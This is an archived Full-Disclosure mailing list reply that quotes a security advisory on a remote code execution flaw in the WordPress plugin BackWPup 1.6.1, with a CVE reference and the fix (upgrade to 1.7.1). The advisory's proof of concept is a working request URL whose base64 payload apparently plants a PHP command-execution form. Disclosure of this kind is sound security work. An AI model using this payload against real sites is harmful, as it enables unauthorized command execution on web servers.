full-disclosure - Re: Wordpress plugin BackWPup Remote and Local Code Execution Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20111201003132.GE21767@foo.fgeek.fi>
Date: Thu, 1 Dec 2011 02:31:32 +0200
From: Henri Salo <henri@...v.fi>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Wordpress plugin BackWPup Remote and Local
 Code Execution Vulnerability - SOS-11-003

On Mon, Mar 28, 2011 at 03:10:39PM +1100, Lists wrote:
> Sense of Security - Security Advisory - SOS-11-003
> 
> Release Date.                  28-Mar-2011
> Last Update.                   -
> Vendor Notification Date.      25-Mar-2010
> Product.                       Wordpress Plugin BackWPup
> Platform.                      Independent
> Affected versions.             1.6.1 (verified), possibly others
> Severity Rating.               High
> Impact.                        System Access
> Attack Vector.                 Remote without authentication
> Solution Status.               Upgrade to version 1.7.1
> CVE reference.                 Not yet assigned
> 
> Details.
> A vulnerability has been discovered in the Wordpress plugin BackWPup 
> 1.6.1 which can be exploited to execute local or remote code on the web 
> server. The Input passed to the component "wp_xml_export.php" via the 
> "wpabs" variable allows the inclusion and execution of local or remote 
> PHP files as long as a "_nonce" value is known. The "_nonce" value 
> relies on a static constant which is not defined in the script meaning 
> that it defaults to the value "822728c8d9".
> 
> Proof of Concept.
> wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
> vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX           
> Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0   
> ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
> sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d
> 
> Solution.
> Upgrade to version 1.7.1
> 
> Discovered by.
> Phil Taylor - Sense of Security Labs.
> 
> Sense of Security Pty Ltd
> Level 8, 66 King St
> Sydney NSW 2000
> AUSTRALIA
> T: +61 (0)2 9290 4444
> F: +61 (0)2 9290 4455
> W: http://www.senseofsecurity.com.au
> E: info@...seofsecurity.com.au
> Twitter: @ITsecurityAU
> 
> The latest version of this advisory can be found at:
> http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf
> 
> Other Sense of Security advisories can be found at:
> http://www.senseofsecurity.com.au/research/it-security-advisories.php

http://osvdb.org/show/osvdb/71481
CVE-2011-4342

- Henri Salo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/